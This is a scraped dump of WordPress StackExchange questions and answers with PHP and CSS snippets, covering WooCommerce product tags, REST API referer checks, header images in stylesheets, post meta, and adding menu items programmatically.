'&lt;/span&gt;';\n}\n</code></pre>\n\n<p>P.S. watch your code! In the snippet you posted is an error on the end <code>echo '&lt;/span&gt; }</code>. You're missing an <code>'</code></p>\n" }, { "answer_id": 376336, "author": "Andreas Myriounis", "author_id": 161321, "author_profile": "https://wordpress.stackexchange.com/users/161321", "pm_score": 1, "selected": false, "text": "<p>You can now use the <a href=\"https://github.com/woocommerce/woocommerce/blob/master/includes/wc-product-functions.php#L1129\" rel=\"nofollow noreferrer\"><code>wc_get_product_tag_list()</code></a> function to get a list of the product's tags. It supports providing a separator along with before and after elements.</p>\n<p><strong>Example</strong></p>\n<pre><code>&lt;?php\n global $product;\n?&gt;\n &lt;div class=&quot;product-tags&quot;&gt;\n &lt;?php echo wc_get_product_tag_list( $product-&gt;get_id(), ', ' ); ?&gt;\n &lt;/div&gt;\n</code></pre>\n" } ]
2017/10/04
[ "https://wordpress.stackexchange.com/questions/281861", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/97267/" ]
I am trying to display WooCommerce product tags on the home page and category pages. Along with the product title the theme should display any tags in alphabetical order, separated by a “·”. For example: Tag 1 · Tag 2 · Tag 3 This is what I have at the moment: ``` <?php echo get_the_tag_list('<span class="woocommerce-display-tag">Tags: ',' · ','</span>');?> ``` The output is blank. How can I get this to work?
I think `get_the_tag_list` is only used for the default WordPress tags. WooCommerce product tags are a custom taxonomy called `product_tag`. Therefore you cannot use this function to return these tags. (anyone please correct me if I am wrong here) Instead you could use the WordPress `get_the_terms()` function, to get a "similar" result. Bare bones: ``` // get product_tags of the current product $current_tags = get_the_terms( get_the_ID(), 'product_tag' ); //only start if we have some tags if ( $current_tags && ! is_wp_error( $current_tags ) ) { //create a list to hold our tags echo '<ul class="product_tags">'; //for each tag we create a list item foreach ($current_tags as $tag) { $tag_title = $tag->name; // tag name $tag_link = get_term_link( $tag );// tag archive link echo '<li><a href="'.$tag_link.'">'.$tag_title.'</a></li>'; } echo '</ul>'; } ``` If you want to use a special separator and stuff, you will need to fiddle around. --- **Update for separators:** You have some options for how you want to remove the last separator, or dealing with separators in general here. The first method is using **CSS only**. For this we first wrap every `$tag_title` in an HTML element (here a `<span>`). We do this so that we can target every title. ``` //for each tag we create a list item foreach ($current_tags as $tag) { $tag_title = $tag->name; // tag name echo '<span>'.$tag_title.'</span>'; } ``` Than we just add 2 new CSS styles (used your markup): ``` /* add " · " after each span item inside .woocommerce-Price-amount */ .woocommerce-Price-amount span:after { content: " · "; } /* set content to nothing/remove " · " on the last span element */ .woocommerce-Price-amount span:last-child:after { content: ""; } ``` --- You can also add a separator **via PHP**. For this, we first need to get a new array of all *keys* of our `$current_tags` array. Then we look for the *last found key* in this new array. After this we use a `foreach loop` and in that *we compare the current key with the last found key*. If these two are the same, we know that we have the last item. Change your `if` function: ``` //only start if we have some tags if ( $current_tags && ! is_wp_error( $current_tags ) ) { //create a list to hold our tags echo '<span class="woocommerce-Price-amount amount">'; // get all keys from the $current_tags array $get_keys = array_keys($current_tags); // get the last key from our keys $last_key = array_pop($get_keys); //for each tag we create a list item foreach ($current_tags as $key => $value) { $tag_title = $value->name; // tag name if($key == $last_key) { echo $tag_title; } else { echo $tag_title.' · '; } } echo '</span>'; } ``` P.S. watch your code! In the snippet you posted is an error on the end `echo '</span> }`. You're missing an `'`
281,916
<p>Using WP 4.8.2</p> <p>What is the best way to check the requesting URL when processing a request with the rest-api? </p> <p>For example, a site receives a request and you want to check if it came from an 'allowed' URL. And fail if the URL is not allowed. </p> <p>This does not work: </p> <pre><code>function my_check_request_url( $request, $url ) { $bits = parse_url( $url ); if ( $bits['host'] != 'example.com' ) $request = false; return $request; } add_filter( 'rest_request_from_url', 'my_check_request_url', 10, 2 ); </code></pre>
[ { "answer_id": 282180, "author": "ssnepenthe", "author_id": 125601, "author_profile": "https://wordpress.stackexchange.com/users/125601", "pm_score": 4, "selected": true, "text": "<p>That filter is definitely not the one you are looking for. That filter fires before returning the result of <code>WP_REST_Request::from_url()</code> which appears to be a factory method that is only used internally to handle embeds.</p>\n\n<p>A better option is to return a <code>WP_Error</code> instance on the <a href=\"https://developer.wordpress.org/reference/hooks/rest_pre_dispatch/\" rel=\"nofollow noreferrer\"><code>rest_pre_dispatch</code> filter</a>.</p>\n\n<p>Some caveats:</p>\n\n<p>As mentioned by @milo, the referer is not reliable and shouldn't be used for a security check.</p>\n\n<p>Additionally, it is not guaranteed to be set.</p>\n\n<p>With those out of the way, here is an example of how you might use the <code>rest_pre_dispatch</code> filter to cause the request to fail if it is from a bad referer:</p>\n\n<pre><code>function wpse281916_rest_check_referer( $result, $server, $request ) {\n if ( null !== $result ) {\n // Core starts with a null value.\n // If it is no longer null, another callback has claimed this request.\n // Up to you how to handle - for this example we will just return early.\n return $result;\n }\n\n $referer = $request-&gt;get_header( 'referer' );\n\n if ( ! $referer ) {\n // Referer header is not set - If referer is required, return a WP_Error instance instead.\n return $result;\n }\n\n $host = wp_parse_url( $referer, PHP_URL_HOST );\n\n if ( ! $host ) {\n // Referer is malformed - If referer is required, return a WP_Error instance instead.\n return $result;\n }\n\n if ( 'mysite.com' !== $host ) {\n // Referer is set to something that we don't allow.\n return new WP_Error(\n 'invalid-referer',\n 'Requests must contain a valid referer',\n compact( 'referer' )\n );\n }\n\n // Otherwise we are good - return original result and let WordPress handle as usual.\n return $result;\n}\nadd_filter( 'rest_pre_dispatch', 'wpse281916_rest_check_referer', 10, 3 );\n</code></pre>\n" }, { "answer_id": 282181, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": false, "text": "<p>Anything you receive from the client is considered user input and should not be trusted. As the header can be easily manipulated and abused, my suggestion is not to use this method if you are relying on it for sensitive data.</p>\n\n<p>If the requests are coming from a page, you can have another approach. Otherwise, anyone can send a request to the API from nowhere and alter the referrer. </p>\n\n<p>Let's say you have a bunch of pages that are filtered as <em>\"Allowed\"</em>. You can create a nounce only for these pages, and then validate them in your request.</p>\n\n<p>If a nounce exists and is valid, then the request is allowed. Otherwise, block it.</p>\n" }, { "answer_id": 282346, "author": "gmazzap", "author_id": 35541, "author_profile": "https://wordpress.stackexchange.com/users/35541", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://wordpress.stackexchange.com/a/282180/35541\"><strong>@ssnepenthe</strong>'s aswer</a> is right in saying that the hook you are using is not the right one something in incoming request.</p>\n\n<p>Request information are available immediately to PHP, so you could use the earliest hook available to check them. And if you want to do this in the context of request API you should use the earliest hook of a REST API request. <code>'rest_pre_dispatch'</code> suggested by <em>@ssnepenthe</em> is fine, maybe another option could be <a href=\"https://developer.wordpress.org/reference/hooks/rest_authentication_errors/\" rel=\"nofollow noreferrer\"><code>rest_authentication_errors</code></a> that would allow you to return an error in case something is wrong.</p>\n\n<p>But <strong>Jack Johansson</strong> is right in <a href=\"https://wordpress.stackexchange.com/a/282181/35541\">saying</a> that HTTP headers (like the referer header used in @ssnepenthe's aswer) are not trustable, as they are very easily changed by the client. So it would be just like put a security guard in front of a door who just ask \"it is safe to let you enter?\" to anyone who want to go in: that's not going to work.</p>\n\n<p>But the soluition proposed Jack Johansson's answer (a nonce) is not a real solution either: the whole point of nonces is to change with time, and a public API endpoint can't have things that change based on time. Moreover, WP nonces are trustable only when there's a logged-in user, which might not be the case for a public API and if an user is logged in, there's probably no reason to check the incoming domain: you trust the user, not the user machine.</p>\n\n<p><strong>So, what to do?</strong></p>\n\n<p>Well, even if HTTP headers are not trustable, not all the information available on <code>$_SERVER</code> comes from headers.</p>\n\n<p>Normally, all the <code>$_SERVER</code> values whose keys starts that starts with <code>HTTP_</code> comes from headers and have to be treated as <em>unsafe user input</em>.</p>\n\n<p>But, for example, <code>$_SERVER['REMOTE_ADDR']</code> contains the IP address used for the TCP connection to your server, which means it <strong>is</strong> trustable<sup>1</sup>.</p>\n\n<p>Which also means, that either:</p>\n\n<ul>\n<li>properly configuring the server to generate the <code>$_SERVER['REMOTE_HOST']</code> value (for example in Apache you'll need <code>HostnameLookups On</code> inside your <code>httpd.conf</code>) that value </li>\n<li>using <a href=\"http://php.net/manual/function.gethostbyaddr.php\" rel=\"nofollow noreferrer\"><code>gethostbyaddr</code></a> to do a reverse DNS lookup to resolve the domain name of the IP stored in <code>$_SERVER['REMOTE_ADDR']</code></li>\n</ul>\n\n<p>you could obtain quite reliably an host name that you could use to check against a whitelist (for the code, you could adapt the code from @ssnepenthe's aswer where you would replace <code>$referer = $request-&gt;get_header('referer')</code> with <code>$referer = gethostbyaddr($_SERVER['REMOTE_ADDR'])</code>).</p>\n\n<p>But there's an <strong>issue</strong>.</p>\n\n<p>If your webserver is behind a reverse proxy (quite common solution, actually) the TCP connection to the webserver is actually made by the proxy, so <code>$_SERVER['REMOTE_ADDR']</code> will be the IP of the proxy, and not the IP of the client who originally sent the request.</p>\n\n<p>The original request IP in such cases is usually available as <code>$_SERVER['HTTP_X_FORWARDED_FOR']</code>, but being one of those <code>$_SERVER</code> values that start with <code>HTTP_</code> it is not really trustable.</p>\n\n<p>So, if your webserver is behind a reverse proxy<sup>2</sup> even the <code>$_SERVER['REMOTE_ADDR']</code> would not be useful for such guard and a domain-based whitelist could only implemented at the proxy level.</p>\n\n<p>In short, a reliable solution for API endpoint securing should be either implemented using some <em>real</em> authentication mechanism (e.g. oAuth) or should be done acting directly on the server configuration and not at application level.</p>\n\n<hr>\n\n<h3>Notes</h3>\n\n<p><sup>1</sup> Well, in theory it could be broken if someone hacked your ISP or if an attacker acts from inside your LAN, in both cases there's very little that you could do to be safe.</p>\n\n<p><sup>2</sup> If you don't know if you are behind a reverse proxy, you can send a request from your local PC and check if <code>$_SERVER['REMOTE_ADDR']</code> on the server match the local PC IP and also if <code>$_SERVER['HTTP_X_FORWARDED_FOR']</code> is present and it matches the local PC IP.</p>\n" } ]
2017/10/04
[ "https://wordpress.stackexchange.com/questions/281916", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/16575/" ]
Using WP 4.8.2 What is the best way to check the requesting URL when processing a request with the rest-api? For example, a site receives a request and you want to check if it came from an 'allowed' URL. And fail if the URL is not allowed. This does not work: ``` function my_check_request_url( $request, $url ) { $bits = parse_url( $url ); if ( $bits['host'] != 'example.com' ) $request = false; return $request; } add_filter( 'rest_request_from_url', 'my_check_request_url', 10, 2 ); ```
That filter is definitely not the one you are looking for. That filter fires before returning the result of `WP_REST_Request::from_url()` which appears to be a factory method that is only used internally to handle embeds. A better option is to return a `WP_Error` instance on the [`rest_pre_dispatch` filter](https://developer.wordpress.org/reference/hooks/rest_pre_dispatch/). Some caveats: As mentioned by @milo, the referer is not reliable and shouldn't be used for a security check. Additionally, it is not guaranteed to be set. With those out of the way, here is an example of how you might use the `rest_pre_dispatch` filter to cause the request to fail if it is from a bad referer: ``` function wpse281916_rest_check_referer( $result, $server, $request ) { if ( null !== $result ) { // Core starts with a null value. // If it is no longer null, another callback has claimed this request. // Up to you how to handle - for this example we will just return early. return $result; } $referer = $request->get_header( 'referer' ); if ( ! $referer ) { // Referer header is not set - If referer is required, return a WP_Error instance instead. return $result; } $host = wp_parse_url( $referer, PHP_URL_HOST ); if ( ! $host ) { // Referer is malformed - If referer is required, return a WP_Error instance instead. return $result; } if ( 'mysite.com' !== $host ) { // Referer is set to something that we don't allow. return new WP_Error( 'invalid-referer', 'Requests must contain a valid referer', compact( 'referer' ) ); } // Otherwise we are good - return original result and let WordPress handle as usual. return $result; } add_filter( 'rest_pre_dispatch', 'wpse281916_rest_check_referer', 10, 3 ); ```
281,939
<p>Forgive my ignorance in the matter, as i've only just started delving into wordpress. But, i was wondering if theres a way to use <code>header_image()</code> in CSS.</p> <p>So, for example my <code>functions.php</code> is allowing me to enqueue a php file with the header: </p> <p><code>&lt;?php header("Content-type: text/css; charset: UTF-8;"); ?&gt;</code></p> <p>Allowing me to manipulate my theme with it. Now, I want my header image to be editable through the customizer instead of the user having to navigate the CSS files. So for example: </p> <pre><code>.headerimg { /* Set a specific height */ height: 700px; /* Create the parallax scrolling effect */ background-image: url("&lt;?php header_image()?&gt;"); background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; /* Styling */ border-top: 3px solid transparent; border-bottom: 3px solid #0099FF; } </code></pre> <p>This of course, doesn't work, and throws the error:</p> <blockquote> <p><b>Fatal error</b>: Uncaught Error: Call to undefined function header_image() in [filepath]</p> </blockquote> <p>So, in short - is there some way to accomplish this effect? Or will i have to rely on just using straight up <code>&lt;img&gt;</code> elements</p>
[ { "answer_id": 281941, "author": "Pierpaolo Ercoli", "author_id": 120008, "author_profile": "https://wordpress.stackexchange.com/users/120008", "pm_score": 3, "selected": true, "text": "<p>No, in general, it's not possible to use php in CSS. But you can set background image in php file. Like..</p>\n\n<pre><code>&lt;div class=\"headerimg\" style=\"background-image: url(&lt;?php echo header_image(); ?&gt;)\"&gt;&lt;/div&gt;\n</code></pre>\n\n<p>Then in CSS file using class you can set all the other properties you need like height, width, background-position and so on.</p>\n" }, { "answer_id": 282008, "author": "ssnepenthe", "author_id": 125601, "author_profile": "https://wordpress.stackexchange.com/users/125601", "pm_score": 0, "selected": false, "text": "<p>In order to access the <code>header_image()</code> function like that, you would have to bootstrap the entirety of WordPress from the file that is generating your stylesheet.</p>\n\n<p>A better option would be to stick with a static .css file but extract the dynamic portion for use within <code>wp_add_inline_style()</code>. When all is said and done, it might look something like:</p>\n\n<pre><code>// Generate inline scripts and styles and attach them to the appropriate script handles.\nfunction my_inline_scripts() {\n // header_image() prints the image - we want it as a string.\n $image = get_header_image();\n\n // Can be false - it might be better to set a fallback here...\n if ( ! $image ) {\n return;\n }\n\n // First param should be the handle of your theme stylesheet.\n wp_add_inline_style( 'my-theme-style', \".headerimg { background-image: url(\\\"{$image}\\\"); }\";\n}\nadd_action( 'wp_enqueue_scripts', 'my_inline_scripts' );\n</code></pre>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281939", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129062/" ]
Forgive my ignorance in the matter, as i've only just started delving into wordpress. But, i was wondering if theres a way to use `header_image()` in CSS. So, for example my `functions.php` is allowing me to enqueue a php file with the header: `<?php header("Content-type: text/css; charset: UTF-8;"); ?>` Allowing me to manipulate my theme with it. Now, I want my header image to be editable through the customizer instead of the user having to navigate the CSS files. So for example: ``` .headerimg { /* Set a specific height */ height: 700px; /* Create the parallax scrolling effect */ background-image: url("<?php header_image()?>"); background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; /* Styling */ border-top: 3px solid transparent; border-bottom: 3px solid #0099FF; } ``` This of course, doesn't work, and throws the error: > > **Fatal error**: Uncaught Error: Call to undefined function header\_image() in [filepath] > > > So, in short - is there some way to accomplish this effect? Or will i have to rely on just using straight up `<img>` elements
No, in general, it's not possible to use php in CSS. But you can set background image in php file. Like.. ``` <div class="headerimg" style="background-image: url(<?php echo header_image(); ?>)"></div> ``` Then in CSS file using class you can set all the other properties you need like height, width, background-position and so on.
281,958
<p>How to add a custom field to my post when created programmatically?</p> <p>I am trying to create a post programmatically, and store a value in a column created directly from PhpMyAdmin.</p> <p><a href="https://i.stack.imgur.com/CTjyu.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CTjyu.jpg" alt="enter image description here"></a></p> <p>Here is how I am creating the post:</p> <pre><code>$post_title = $post-&gt;title-&gt;rendered; $post_content = $post-&gt;content-&gt;rendered; $post_check = get_page_by_title($post_title); $post = array( 'post_type' =&gt; 'post', 'post_title' =&gt; $post_title, 'post_content' =&gt; $post_content, 'post_status' =&gt; 'publish', 'post_author' =&gt; 1, 'post_slug' =&gt; $post_title, 'post_imported_id' =&gt; 3 ); $post_id = wp_insert_post($post); if ($post_id) { add_post_meta( $post_id, 'post_imported_id', 3 ); } </code></pre> <p>The post is created and all default fields are well saved too.</p> <p>The problem is that my "post_imported_id" is not taken in consideration.</p>
[ { "answer_id": 281961, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p>You have created a custom field by altering the post table in the database. Custom fields in WordPress API are considered meta fields; such fields are stored in <code>wp_postmeta</code> table and that is the table used by functions like <code>add_post_meta()</code> and the rest of the functions and methods related with post custom/meta fields.</p>\n\n<p>You can check how to work with meta/custom fields in the <a href=\"https://developer.wordpress.org/plugins/metadata/\" rel=\"nofollow noreferrer\">MetaData section of plugin developer handbook</a>.</p>\n\n<p>PD: Altering core database tables is considered a very bad practice.</p>\n" }, { "answer_id": 281962, "author": "Vasilis Karantousis", "author_id": 105768, "author_profile": "https://wordpress.stackexchange.com/users/105768", "pm_score": 1, "selected": false, "text": "<p>When you use the <code>add_post_meta()</code> method, the custom post meta value will be stored automatically in the <code>wp_postmeta</code> table which has four columns: ID, post_id, meta_key and meta_value. So, in my opinion there is no reason for you to create an extra column manually and store your custom value there.</p>\n\n<p>Later on, if you want to get the custom meta value for your post, just use the <code>get_post_meta()</code> method.</p>\n\n<p>I hope this helps.</p>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281958", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129073/" ]
How to add a custom field to my post when created programmatically? I am trying to create a post programmatically, and store a value in a column created directly from PhpMyAdmin. [![enter image description here](https://i.stack.imgur.com/CTjyu.jpg)](https://i.stack.imgur.com/CTjyu.jpg) Here is how I am creating the post: ``` $post_title = $post->title->rendered; $post_content = $post->content->rendered; $post_check = get_page_by_title($post_title); $post = array( 'post_type' => 'post', 'post_title' => $post_title, 'post_content' => $post_content, 'post_status' => 'publish', 'post_author' => 1, 'post_slug' => $post_title, 'post_imported_id' => 3 ); $post_id = wp_insert_post($post); if ($post_id) { add_post_meta( $post_id, 'post_imported_id', 3 ); } ``` The post is created and all default fields are well saved too. The problem is that my "post\_imported\_id" is not taken in consideration.
You have created a custom field by altering the post table in the database. Custom fields in WordPress API are considered meta fields; such fields are stored in `wp_postmeta` table and that is the table used by functions like `add_post_meta()` and the rest of the functions and methods related with post custom/meta fields. You can check how to work with meta/custom fields in the [MetaData section of plugin developer handbook](https://developer.wordpress.org/plugins/metadata/). PD: Altering core database tables is considered a very bad practice.
281,981
<p>I want to display all the posts separated by years. Like that.</p> <p><strong>2017</strong></p> <ul> <li>Post 1 / december 17</li> <li>Post 2 / July 7</li> <li>Post 3 / March 25</li> </ul> <p><strong>2016</strong></p> <ul> <li>Post 1 / december 25</li> <li>Post 2 / July 14</li> <li>Post 3 / March 31</li> </ul> <p>The code I actually have is totally different of what i want, because after try a lot of posibilities doesnt work. BTW I type here how actually I have. A loop with a tittle, excerpt, date, tags, author and a link to read more. I only want to mantain the name of the post, the date, and a link to read more. This posts separate by years as I explain before.</p> <pre><code>&lt;!-- language: lang-php --&gt; &lt;?php if( have_posts() ) : while ( have_posts() ) : the_post(); ?&gt; &lt;article class=""&gt; &lt;div class""&gt; &lt;h2 class=""&gt;&lt;a class="" href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h2&gt; &lt;p&gt; &lt;span class=""&gt; &lt;small class=""&gt;&lt;/span&gt; &lt;?php comments_number( 'sin comentarios', 'un comentario', '% comentarios' ); ?&gt;&lt;/small&gt; &lt;span class=""&gt; &lt;/span&gt;&lt;small class=""&gt; &lt;?php the_date(); ?&gt; &lt;/small&gt; &lt;/p&gt; &lt;/div&gt; &lt;?php the_post_thumbnail("medium") ?&gt; &lt;div class=""&gt;&lt;?php the_excerpt(); ?&gt;&lt;/div&gt; &lt;div class=""&gt; &lt;br&gt; &lt;small&gt;Por: &lt;?php the_author(); ?&gt; &lt;/small&gt; &lt;small&gt;&lt;?php the_author_meta("description"); ?&gt;&lt;/small&gt; &lt;/div&gt; &lt;a class="" href="&lt;?php the_permalink() ;?&gt;"&gt;Seguir Leyendo&lt;/a&gt; &lt;/article&gt; &lt;div class=""&gt;&lt;/div&gt; &lt;?php endwhile; else : ?&gt; &lt;?php endif; ?&gt; &lt;p&gt;&lt;?php get_the_posts_pagination() ?&gt;&lt;/p&gt; &lt;P class=""&gt;&lt;?php echo paginate_links( $args ); ?&gt;&lt;/P&gt; </code></pre>
[ { "answer_id": 281961, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p>You have created a custom field by altering the post table in the database. Custom fields in WordPress API are considered meta fields; such fields are stored in <code>wp_postmeta</code> table and that is the table used by functions like <code>add_post_meta()</code> and the rest of the functions and methods related with post custom/meta fields.</p>\n\n<p>You can check how to work with meta/custom fields in the <a href=\"https://developer.wordpress.org/plugins/metadata/\" rel=\"nofollow noreferrer\">MetaData section of plugin developer handbook</a>.</p>\n\n<p>PD: Altering core database tables is considered a very bad practice.</p>\n" }, { "answer_id": 281962, "author": "Vasilis Karantousis", "author_id": 105768, "author_profile": "https://wordpress.stackexchange.com/users/105768", "pm_score": 1, "selected": false, "text": "<p>When you use the <code>add_post_meta()</code> method, the custom post meta value will be stored automatically in the <code>wp_postmeta</code> table which has four columns: ID, post_id, meta_key and meta_value. So, in my opinion there is no reason for you to create an extra column manually and store your custom value there.</p>\n\n<p>Later on, if you want to get the custom meta value for your post, just use the <code>get_post_meta()</code> method.</p>\n\n<p>I hope this helps.</p>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281981", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129080/" ]
I want to display all the posts separated by years. Like that. **2017** * Post 1 / december 17 * Post 2 / July 7 * Post 3 / March 25 **2016** * Post 1 / december 25 * Post 2 / July 14 * Post 3 / March 31 The code I actually have is totally different of what i want, because after try a lot of posibilities doesnt work. BTW I type here how actually I have. A loop with a tittle, excerpt, date, tags, author and a link to read more. I only want to mantain the name of the post, the date, and a link to read more. This posts separate by years as I explain before. ``` <!-- language: lang-php --> <?php if( have_posts() ) : while ( have_posts() ) : the_post(); ?> <article class=""> <div class""> <h2 class=""><a class="" href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> <p> <span class=""> <small class=""></span> <?php comments_number( 'sin comentarios', 'un comentario', '% comentarios' ); ?></small> <span class=""> </span><small class=""> <?php the_date(); ?> </small> </p> </div> <?php the_post_thumbnail("medium") ?> <div class=""><?php the_excerpt(); ?></div> <div class=""> <br> <small>Por: <?php the_author(); ?> </small> <small><?php the_author_meta("description"); ?></small> </div> <a class="" href="<?php the_permalink() ;?>">Seguir Leyendo</a> </article> <div class=""></div> <?php endwhile; else : ?> <?php endif; ?> <p><?php get_the_posts_pagination() ?></p> <P class=""><?php echo paginate_links( $args ); ?></P> ```
You have created a custom field by altering the post table in the database. Custom fields in WordPress API are considered meta fields; such fields are stored in `wp_postmeta` table and that is the table used by functions like `add_post_meta()` and the rest of the functions and methods related with post custom/meta fields. You can check how to work with meta/custom fields in the [MetaData section of plugin developer handbook](https://developer.wordpress.org/plugins/metadata/). PD: Altering core database tables is considered a very bad practice.
281,987
<p>I am trying to add a menu item programmatically through a plugin to a menu based on location and i want this to be added to the location that is attached to the homepage's menu.</p> <p>This is my code:</p> <pre><code>//Add user menu item add_filter( 'wp_nav_menu_items', 'add_user_link', 10, 2); /** * Add a login link to the members navigation */ function add_user_link( $items, $args ){ if($args-&gt;theme_location == 'menu' ) { $items .= '&lt;li&gt;&lt;a href="'. site_url() .'/user'.'"&gt;'.__("User Control","user-control").'&lt;/a&gt;&lt;/li&gt;'; } return $items; } </code></pre> <p>which i want to replace the <code>menu</code> value with the homepage menu location, so is there any way to know to which location the homepage menu is assigned.</p>
[ { "answer_id": 282011, "author": "David Lee", "author_id": 111965, "author_profile": "https://wordpress.stackexchange.com/users/111965", "pm_score": 2, "selected": true, "text": "<p>You can use <code>get_nav_menu_locations()</code> to get an array of locations that are being used (a menu has been assigned to it), it shows like this:</p>\n\n<pre><code>Array\n(\n [header-menu] =&gt; 4\n [extra-menu] =&gt; 6\n)\n</code></pre>\n\n<p>the <code>4</code> and <code>6</code> are the menu IDs, i think you already have an ID so this should be enough, now the thing is, if there is no menu location being used or there is no location at all the array will show empty, that doesnt mean a menu isnt being shown, because in the theme there could be a <code>wp_nav_menu( array( 'theme_location' =&gt; 'whatever' ) )</code> being used and Wordpress will:</p>\n\n<blockquote>\n <p>By default, WordPress displays the first non-empty menu when the\n specified menu or location is not found</p>\n</blockquote>\n\n<p>in that case you can get a list of menus using <code>get_terms( 'nav_menu' )</code>, it will show an array like this:</p>\n\n<pre><code>Array\n(\n [0] =&gt; WP_Term Object\n (\n [term_id] =&gt; 6\n [name] =&gt; Another Menu\n [slug] =&gt; another-menu\n [term_group] =&gt; 0\n [term_taxonomy_id] =&gt; 6\n [taxonomy] =&gt; nav_menu\n [description] =&gt; \n [parent] =&gt; 0\n [count] =&gt; 2\n [filter] =&gt; raw\n )\n\n [1] =&gt; WP_Term Object\n (\n [term_id] =&gt; 4\n [name] =&gt; Main Navigation Menu\n [slug] =&gt; main-navigation-menu\n [term_group] =&gt; 0\n [term_taxonomy_id] =&gt; 4\n [taxonomy] =&gt; nav_menu\n [description] =&gt; \n [parent] =&gt; 0\n [count] =&gt; 12\n [filter] =&gt; raw\n )\n\n)\n</code></pre>\n\n<p>you can check which one is the <code>non-empty</code> menu checking the <code>[count]</code> value, or you can find the first empty one and add your menu item since i see that is your objective.</p>\n\n<p>Here is a code to loop all menu items of all menus:</p>\n\n<pre><code>$menus = get_terms('nav_menu');\n\nforeach ($menus as $menu) {//we loop all menus\n $menu_id = $menu-&gt;term_id;//we get the ID\n\n $menu_items_array = wp_get_nav_menu_items($menu_id);//we get the menu\n\n foreach ($menu_items_array as $menu_item) {//we loop all the menu items of the menu\n if($menu_item-&gt;post_name == \"home\") { //you can add more conditions here to check if its the home link\n\n\n //THIS IS THE HOME MENU ITEM\n\n echo \"&lt;pre&gt;\";\n print_r($menu_item);//here a list of values that you can use \n echo \"&lt;/pre&gt;\";\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 282073, "author": "Mohamed Omar", "author_id": 102224, "author_profile": "https://wordpress.stackexchange.com/users/102224", "pm_score": 0, "selected": false, "text": "<p>actually the way i was thinking is not all correct but @David Lee posted a solution according to this way and it worked but what if the post name changed to another name, then this method won't work, so i though to do the job according to the item that has a link to the homepage which will be constant, and here is what i have done</p>\n\n<pre><code>//Add user menu item\nadd_filter( 'wp_nav_menu_items', 'add_user_link', 10, 2);\n\n/**\n * Add a login link to the members navigation\n */\nfunction add_user_link( $items, $args )\n{\n $locs = get_nav_menu_locations(); \n $homeitemlocs = array();\n foreach($locs as $loc =&gt; $v){\n $locmenu = wp_get_nav_menu_object( $v );\n $locitems = wp_get_nav_menu_items($locmenu-&gt;term_id);\n foreach($locitems as $locitem){\n if($locitem-&gt;url == get_bloginfo('url').'/' ){\n $homeitemlocs[]= $loc; \n }\n }\n }\n foreach ($homeitemlocs as $homeitemloc){\n\n if($args-&gt;theme_location == $homeitemloc )\n {\n\n $items .= '&lt;li&gt;&lt;a href=\"'. site_url().'/user'.'\"&gt;'.__(\"User Control\",\"user-control\").'&lt;/a&gt;&lt;/li&gt;';\n\n }\n\n }\n\n return $items;\n}\n</code></pre>\n\n<p>With that my custom link will be added to any menu that has an item linked to homepage</p>\n" } ]
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281987", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102224/" ]
I am trying to add a menu item programmatically through a plugin to a menu based on location and i want this to be added to the location that is attached to the homepage's menu. This is my code: ``` //Add user menu item add_filter( 'wp_nav_menu_items', 'add_user_link', 10, 2); /** * Add a login link to the members navigation */ function add_user_link( $items, $args ){ if($args->theme_location == 'menu' ) { $items .= '<li><a href="'. site_url() .'/user'.'">'.__("User Control","user-control").'</a></li>'; } return $items; } ``` which i want to replace the `menu` value with the homepage menu location, so is there any way to know to which location the homepage menu is assigned.
You can use `get_nav_menu_locations()` to get an array of locations that are being used (a menu has been assigned to it), it shows like this: ``` Array ( [header-menu] => 4 [extra-menu] => 6 ) ``` the `4` and `6` are the menu IDs, i think you already have an ID so this should be enough, now the thing is, if there is no menu location being used or there is no location at all the array will show empty, that doesnt mean a menu isnt being shown, because in the theme there could be a `wp_nav_menu( array( 'theme_location' => 'whatever' ) )` being used and Wordpress will: > > By default, WordPress displays the first non-empty menu when the > specified menu or location is not found > > > in that case you can get a list of menus using `get_terms( 'nav_menu' )`, it will show an array like this: ``` Array ( [0] => WP_Term Object ( [term_id] => 6 [name] => Another Menu [slug] => another-menu [term_group] => 0 [term_taxonomy_id] => 6 [taxonomy] => nav_menu [description] => [parent] => 0 [count] => 2 [filter] => raw ) [1] => WP_Term Object ( [term_id] => 4 [name] => Main Navigation Menu [slug] => main-navigation-menu [term_group] => 0 [term_taxonomy_id] => 4 [taxonomy] => nav_menu [description] => [parent] => 0 [count] => 12 [filter] => raw ) ) ``` you can check which one is the `non-empty` menu checking the `[count]` value, or you can find the first empty one and add your menu item since i see that is your objective. Here is a code to loop all menu items of all menus: ``` $menus = get_terms('nav_menu'); foreach ($menus as $menu) {//we loop all menus $menu_id = $menu->term_id;//we get the ID $menu_items_array = wp_get_nav_menu_items($menu_id);//we get the menu foreach ($menu_items_array as $menu_item) {//we loop all the menu items of the menu if($menu_item->post_name == "home") { //you can add more conditions here to check if its the home link //THIS IS THE HOME MENU ITEM echo "<pre>"; print_r($menu_item);//here a list of values that you can use echo "</pre>"; } } } ```
282,022
